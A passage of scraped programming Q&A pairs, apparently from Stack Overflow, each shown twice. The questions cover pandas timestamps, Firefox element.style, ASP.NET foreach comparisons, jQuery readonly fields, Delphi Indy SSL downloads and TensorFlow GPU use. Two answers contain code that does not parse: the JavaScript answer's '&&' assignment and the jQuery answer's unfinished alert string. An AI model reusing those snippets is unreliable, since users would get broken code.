    s = df1.Timestamp_A.values - df2["Timestamp_B"][:]
    Closest_Timestamp_B = s.min()

The result I get is a ValueError:

ValueError: operands could not be broadcast together with shapes(3,) (4,)

How to correctly perform row-by-row comparisons between two pandas dataframes?

Body:
There might be a better way to do this but here is one way:

import pandas as pd
import numpy as np
df1 = pd.DataFrame({'Event':['A','A','A'],'Number':[1,2,3],
                   'Timestamp_A':['7:00','8:00','9:00']})
df2 = pd.DataFrame({'Event':['B','B','B'],'Number':[1,2,3],
                   'Timestamp_B':['7:01','8:01','9:01']})
df1['Closest_timestamp_B'] = np.zeros(len(df1.index))
for index, row in df1.iterrows():
    df1['Closest_timestamp_B'].iloc[index] = df2.Timestamp_B.loc[np.argmin(np.abs(pd.to_datetime(df2.Timestamp_B) -pd.to_datetime(row.Timestamp_A)))]

df1
Event   Number  Timestamp_A Closest_timestamp_B
0   A   1   7:00    7:01
1   A   2   8:00    8:01
2   A   3   9:00    9:01


问:
javascript element.style is undefined in FF
I want to set up css display property in javascript code:

```<code>    var div = document.createElement('div');
    div.innerHTML = content;
    div.childNodes[0].style.display = '';
</code>```

It works in IE but doesn't in FF. It says "style" is undefined for element div.  How can I do it in FF?

Thanks

答:
This should also work:</p>

```<code>var div = document.createElement('div');
div.innerHTML = content;
div.childElementCount && div.firstElementChild.style.display = '';
</code>```

Body:
I want to set up css display property in javascript code:

    var div = document.createElement('div');
    div.innerHTML = content;
    div.childNodes[0].style.display = '';

It works in IE but doesn't in FF. It says "style" is undefined for element div.  How can I do it in FF?

Thanks

Body:
This should also work:

var div = document.createElement('div');
div.innerHTML = content;
div.childElementCount && div.firstElementChild.style.display = '';


问:
How to compare current item with the next item in foreach asp.net
I have a question.

I have model, and I show in the page this model thanks to foreach. And in the model I have column (vPeriod) and I need to compare current item (e.g vPeriod = 2016) with next item (e.g. vPeriod = 2017) and I don't know how to compare!

```<code>foreach(var item in Model)
{
if(current.vPeriod == next.vPeriod)
{
//do something
}
else
{
//do something
}
}
</code>```

If I use for, it's the easy way. But how do I do this with foreach?

Code view:

```<code> <tr class="line2">
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td style="color: #5f6877;">2016</td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
            </tr>

@foreach (var itemData in Model)
            {
                if (itemData.vPeriod == "2016")
                {
                    <tr class="line3">
                        <td>@itemData.vAddress</td>
                        <td>@itemData.vCreateDate</td>
                        <td>@itemData.iCountOfFloors</td>
                        <td>@itemData.iCountOfRooms</td>
                        <td>@itemData.iAreaOfRooms</td>
                        <td>@itemData.vLastRepairs</td>
                        <td>@itemData.vType</td>
                        <td>@itemData.vBelonging</td>
                        <td>@itemData.vPlanRepairs</td>
                    </tr>
                }
            }

            <tr class="line2">
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td style="color: #5f6877;">2017</td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
            </tr>

            @foreach (var itemData in Model)
            {
                if (itemData.vPeriod == "2017")
                {
                    <tr class="line3">
                        <td>@itemData.vAddress</td>
                        <td>@itemData.vCreateDate</td>
                        <td>@itemData.iCountOfFloors</td>
                        <td>@itemData.iCountOfRooms</td>
                        <td>@itemData.iAreaOfRooms</td>
                        <td>@itemData.vLastRepairs</td>
                        <td>@itemData.vType</td>
                        <td>@itemData.vBelonging</td>
                        <td>@itemData.vPlanRepairs</td>
                    </tr>
                }
            }
</code>```

It's like really awful! I can have many different years and all the time need to create a block with data and a `foreach block for year.

答:
Try this:</p>

```<code>int counter = 1;
foreach(var item in Model)
{
    if(counter == Model.Count)
       {
           break;
       }
    if(item == Model[counter])
       {
           //do something
       }
    else
       {
           //do something
       }
    counter++;
}
</code>```

Body:
I have a question.

I have model, and I show in the page this model thanks to foreach. And in the model I have column (vPeriod) and I need to compare current item (e.g vPeriod = 2016) with next item (e.g. vPeriod = 2017) and I don't know how to compare!

foreach(var item in Model)
{
if(current.vPeriod == next.vPeriod)
{
//do something
}
else
{
//do something
}
}

If I use for, it's the easy way. But how do I do this with foreach?

Code view:

                2016

@foreach (var itemData in Model)
            {
                if (itemData.vPeriod == "2016")
                {

                        @itemData.vAddress
                        @itemData.vCreateDate
                        @itemData.iCountOfFloors
                        @itemData.iCountOfRooms
                        @itemData.iAreaOfRooms
                        @itemData.vLastRepairs
                        @itemData.vType
                        @itemData.vBelonging
                        @itemData.vPlanRepairs

                }
            }

                2017

            @foreach (var itemData in Model)
            {
                if (itemData.vPeriod == "2017")
                {

                        @itemData.vAddress
                        @itemData.vCreateDate
                        @itemData.iCountOfFloors
                        @itemData.iCountOfRooms
                        @itemData.iAreaOfRooms
                        @itemData.vLastRepairs
                        @itemData.vType
                        @itemData.vBelonging
                        @itemData.vPlanRepairs

                }
            }

It's like really awful! I can have many different years and all the time need to create a block with data and a `foreach block for year.

Body:
Try this:

int counter = 1;
foreach(var item in Model)
{
    if(counter == Model.Count)
       {
           break;
       }
    if(item == Model[counter])
       {
           //do something
       }
    else
       {
           //do something
       }
    counter++;
}


问:
Jquery Editable input textbox field
I have created this simple form

```<code><html>
<head>
 <title>Datatable</title>
 <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">
  <script type="text/javascript" src="../jquery-1.11.3.min.js"></script>
  <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
  <script type="text/javascript" src="../jquery/Jobseeker/EditDatatable.js"></script>
</head>

<body>
<form>
<table id="example">
<tr>
<td>
<label>Ab Va</label>
</td>
<td>
<input type="text" value="99"/>
</td>
</tr>
<tr>
<td>
<label>Sa Va</label>
</td>
<td>
<input type="text" value="9986"/>
</td>
</tr>

</table>
<button id="btn">Edit</button>
</form>
</body>
</html>
</code>```

The jquery code to edit the input textbox of this table is

```<code>$(document).ready(function() {
    var table = $('#example').DataTable();

    $('button').click( function() {
        var data = table.$('input, select').serialize();
        alert(
            "The following data would have been submitted to the server: \n\n"+

        );
        return false;
    } );
} );
</code>```

The problem what I am facing is the input textbox field id editable without click of the button "Edit".
But I want it to be editable only when the user clicks on the Edit button.
Please let me know how can i do this

答:
Use this

```<code>$(document).ready(function() {
 var table = $('#example').DataTable();

 $('button').click( function() {
    $("input[type=text]").attr("readonly", false);

    var data = table.$('input, select').serialize();
    alert("The following data would have been submitted to the server: \n\n"+);
    return false;
 });
});
</code>```

And change your input type="text" tags with readonly attribute as below

```<code><input type="text" value="99" readonly />
</code>```

Title: Jquery Editable input textbox field

Body:
I have created this simple form

 <title>Datatable</title>
 <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">

<form>

Ab Va

<input type="text" value="99"/>

Sa Va

<input type="text" value="9986"/>

<button id="btn">Edit</button>
</form>

The jquery code to edit the input textbox of this table is

$(document).ready(function() {
    var table = $('#example').DataTable();

    $('button').click( function() {
        var data = table.$('input, select').serialize();
        alert(
            "The following data would have been submitted to the server: \n\n"+

        );
        return false;
    } );
} );

The problem what I am facing is the input textbox field id editable without click of the button "Edit".
But I want it to be editable only when the user clicks on the Edit button.
Please let me know how can i do this

Body:
Use this

$(document).ready(function() {
 var table = $('#example').DataTable();

 $('button').click( function() {
    $("input[type=text]").attr("readonly", false);

    var data = table.$('input, select').serialize();
    alert("The following data would have been submitted to the server: \n\n"+);
    return false;
 });
});

And change your input type="text" tags with readonly attribute as below

<input type="text" value="99" readonly />


问:
Downloading files using Indy TIdHTTP
I currently have a program that downloads a file from my VPS and extracts it. I want to make it download straight from the original website, but it doesn't want to work. I want to make it download this link:

https://bintray.com/oxidemod/builds/download_file?file_path=Oxide-Rust.zip

Instead of this:

http://41.185.91.51/RSM/Oxide-Rust.zip

Edit: Using this link:

https://dl.bintray.com/oxidemod/builds/Oxide-Rust.zip

Also doesnt work, even when using the SSL protocol.

I'm using RAD Studio 10.2 Tokyo.

I found the following post, but I'm struggling to add it to my current project:

Downloaded files using TIdHTTP INDY 10

Here is my current project code:

```<code>unit uOxideModInstaller;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.ComCtrls,
  Vcl.StdCtrls, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, System.Zip;

type

  TDownload = class;

  Tfrmoxidemodinstaller = class(TForm)
    lbl1: TLabel;
    pb1: TProgressBar;
    btn1: TButton;
    btn2: TButton;
    lblstatus: TLabel;
    procedure btn2Click(Sender: TObject);
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

  TDownload = class(TThread)
  private
    httpclient: TIdHTTP;
    url: string;
    filename: string;
    maxprogressbar: integer;
    progressbarstatus: integer;
    procedure ExtractZip(ZipFile: string; ExtractPath: string);
    procedure idhttp1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure idhttp1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure UpdateProgressBar;
    procedure SetMaxProgressBar;
  protected
    procedure Execute; override;
  public
    constructor Create(CreateSuspended: boolean; aurl, afilename: string);
    destructor Destroy; override;
  end;

var
  frmoxidemodinstaller: Tfrmoxidemodinstaller;

implementation

{$R *.dfm}
{ Thread }

constructor TDownload.Create(CreateSuspended: boolean; aurl, afilename: string);
begin
  inherited Create(CreateSuspended);
  httpclient := TIdHTTP.Create(nil);
  httpclient.OnWorkBegin := idhttp1WorkBegin;
  httpclient.OnWork := idhttp1Work;
  url := aurl;
  filename := afilename;
end;

procedure TDownload.idhttp1Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  progressbarstatus := AWorkCount;
  Queue(UpdateProgressBar);

end;

procedure TDownload.idhttp1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  maxprogressbar := AWorkCountMax;
  Queue(SetMaxProgressBar);
end;

procedure TDownload.Execute;
var
  Stream: TMemoryStream;
begin
  Stream := TMemoryStream.Create;
  try
    httpclient.Get(url, Stream);
    Stream.SaveToFile(filename);
  finally
    Stream.Free;
  end;
end;

procedure TDownload.UpdateProgressBar;
var
  ZipFile: string;
begin
  frmoxidemodinstaller.pb1.Position := progressbarstatus;
  frmoxidemodinstaller.lblstatus.Caption := 'Downloading...';

  if frmoxidemodinstaller.pb1.Position = frmoxidemodinstaller.pb1.Max then
  begin
    frmoxidemodinstaller.lblstatus.Caption := 'Done Downloading. Installing...';
    Sleep(2000);
    ExtractZip('oxide.zip', GetCurrentDir);
  end;
end;

procedure TDownload.SetMaxProgressBar;
begin
  frmoxidemodinstaller.pb1.Max := maxprogressbar;
end;

destructor TDownload.Destroy;
begin
  FreeAndNil(httpclient);
  inherited Destroy;
end;

{ TForm1 }

procedure TDownload.ExtractZip(ZipFile, ExtractPath: string);
begin
  if TZipFile.IsValid(ZipFile) then
  begin
    TZipFile.ExtractZipFile(ZipFile, ExtractPath);
    frmoxidemodinstaller.lblstatus.Caption := 'Oxide Installed!';
    DeleteFile(ZipFile);
  end
  else
  begin
    ShowMessage('Error installing oxide!');
    frmoxidemodinstaller.lblstatus.Caption := 'Error Installing Oxide!';
  end;
end;

procedure Tfrmoxidemodinstaller.btn1Click(Sender: TObject);
var
  DownloadThread: TDownload;
  link: string;
begin
  link := 'http://41.185.91.51/RSM/Oxide-Rust.zip';
  DownloadThread := TDownload.Create(true, link, 'oxide.zip');
  DownloadThread.FreeOnTerminate := true;
  DownloadThread.Start;
end;

procedure Tfrmoxidemodinstaller.btn2Click(Sender: TObject);
begin
  Close;
end;

end.
</code>```

答:
You need to assign an IOHandler for SSL.

Include IdSSLOpenSSL in your uses clause and add the following after you create httpclient.

```<code>httpclient.IOHandler := TIdSSLIOHandlerSocketOpenSSL.Create(httpclient);
</code>```

Then just make sure your OpenSSL DLLs are in your path or in the same folder as the executable.

Title: Downloading files using Indy TIdHTTP

Body:
I currently have a program that downloads a file from my VPS and extracts it. I want to make it download straight from the original website, but it doesn't want to work. I want to make it download this link:

https://bintray.com/oxidemod/builds/download_file?file_path=Oxide-Rust.zip

Instead of this:

http://41.185.91.51/RSM/Oxide-Rust.zip

Edit: Using this link:

https://dl.bintray.com/oxidemod/builds/Oxide-Rust.zip

Also doesnt work, even when using the SSL protocol.

I'm using RAD Studio 10.2 Tokyo.

I found the following post, but I'm struggling to add it to my current project:

Downloaded files using TIdHTTP INDY 10

Here is my current project code:

unit uOxideModInstaller;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.ComCtrls,
  Vcl.StdCtrls, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, System.Zip;

type

  TDownload = class;

  Tfrmoxidemodinstaller = class(TForm)
    lbl1: TLabel;
    pb1: TProgressBar;
    btn1: TButton;
    btn2: TButton;
    lblstatus: TLabel;
    procedure btn2Click(Sender: TObject);
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

  TDownload = class(TThread)
  private
    httpclient: TIdHTTP;
    url: string;
    filename: string;
    maxprogressbar: integer;
    progressbarstatus: integer;
    procedure ExtractZip(ZipFile: string; ExtractPath: string);
    procedure idhttp1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure idhttp1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure UpdateProgressBar;
    procedure SetMaxProgressBar;
  protected
    procedure Execute; override;
  public
    constructor Create(CreateSuspended: boolean; aurl, afilename: string);
    destructor Destroy; override;
  end;

var
  frmoxidemodinstaller: Tfrmoxidemodinstaller;

implementation

{$R *.dfm}
{ Thread }

constructor TDownload.Create(CreateSuspended: boolean; aurl, afilename: string);
begin
  inherited Create(CreateSuspended);
  httpclient := TIdHTTP.Create(nil);
  httpclient.OnWorkBegin := idhttp1WorkBegin;
  httpclient.OnWork := idhttp1Work;
  url := aurl;
  filename := afilename;
end;

procedure TDownload.idhttp1Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  progressbarstatus := AWorkCount;
  Queue(UpdateProgressBar);

end;

procedure TDownload.idhttp1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  maxprogressbar := AWorkCountMax;
  Queue(SetMaxProgressBar);
end;

procedure TDownload.Execute;
var
  Stream: TMemoryStream;
begin
  Stream := TMemoryStream.Create;
  try
    httpclient.Get(url, Stream);
    Stream.SaveToFile(filename);
  finally
    Stream.Free;
  end;
end;

procedure TDownload.UpdateProgressBar;
var
  ZipFile: string;
begin
  frmoxidemodinstaller.pb1.Position := progressbarstatus;
  frmoxidemodinstaller.lblstatus.Caption := 'Downloading...';

  if frmoxidemodinstaller.pb1.Position = frmoxidemodinstaller.pb1.Max then
  begin
    frmoxidemodinstaller.lblstatus.Caption := 'Done Downloading. Installing...';
    Sleep(2000);
    ExtractZip('oxide.zip', GetCurrentDir);
  end;
end;

procedure TDownload.SetMaxProgressBar;
begin
  frmoxidemodinstaller.pb1.Max := maxprogressbar;
end;

destructor TDownload.Destroy;
begin
  FreeAndNil(httpclient);
  inherited Destroy;
end;

{ TForm1 }

procedure TDownload.ExtractZip(ZipFile, ExtractPath: string);
begin
  if TZipFile.IsValid(ZipFile) then
  begin
    TZipFile.ExtractZipFile(ZipFile, ExtractPath);
    frmoxidemodinstaller.lblstatus.Caption := 'Oxide Installed!';
    DeleteFile(ZipFile);
  end
  else
  begin
    ShowMessage('Error installing oxide!');
    frmoxidemodinstaller.lblstatus.Caption := 'Error Installing Oxide!';
  end;
end;

procedure Tfrmoxidemodinstaller.btn1Click(Sender: TObject);
var
  DownloadThread: TDownload;
  link: string;
begin
  link := 'http://41.185.91.51/RSM/Oxide-Rust.zip';
  DownloadThread := TDownload.Create(true, link, 'oxide.zip');
  DownloadThread.FreeOnTerminate := true;
  DownloadThread.Start;
end;

procedure Tfrmoxidemodinstaller.btn2Click(Sender: TObject);
begin
  Close;
end;

end.

Body:
You need to assign an IOHandler for SSL.

Include IdSSLOpenSSL in your uses clause and add the following after you create httpclient.

httpclient.IOHandler := TIdSSLIOHandlerSocketOpenSSL.Create(httpclient);

Then just make sure your OpenSSL DLLs are in your path or in the same folder as the executable.


问:
Does tensorflow automatically detect GPU or do I have to specify it manually?
I have a code written in tensorflow that I run on CPUs and it runs fine.
I am transferring to a new machine which has GPUs and I run the code on the new machine but the training speed did not improve as expected (takes almost the same time).

I understood that Tensorflow automatically detects GPUs and run the operations on them (https://www.quora.com/How-do-I-automatically-put-all-my-computation-in-a-GPU-in-TensorFlow) & (https://www.tensorflow.org/tutorials/using_gpu).

Do I have to change the code to make it manually runs the operations on GPUs (for now I have a single GPU)? and what would be gained by doing that manually?

Thanks

答:
If the GPU version of TensorFlow is installed and if you don't assign all your tensors to CPU, some of them should be assigned to GPU.

To find out which devices (CPU, GPU) are available to TensorFlow, you can use this:

```<code>from tensorflow.python.client import device_lib
print(device_lib.list_local_devices())
</code>```

Regarding the question of the performance, it's quite a broad subject and it really depends of your model, your data and so on. Here are a few and wide remarks on TensorFlow performance.

Body:
If the GPU version of TensorFlow is installed and if you don't assign all your tensors to CPU, some of them should be assigned to GPU.

To find out which devices (CPU, GPU) are available to TensorFlow, you can use this:

from tensorflow.python.client import device_lib
print(device_lib.list_local_devices())

Regarding the question of the performance, it's quite a broad subject and it really depends of your model, your data and so on. Here are a few and wide remarks on TensorFlow performance.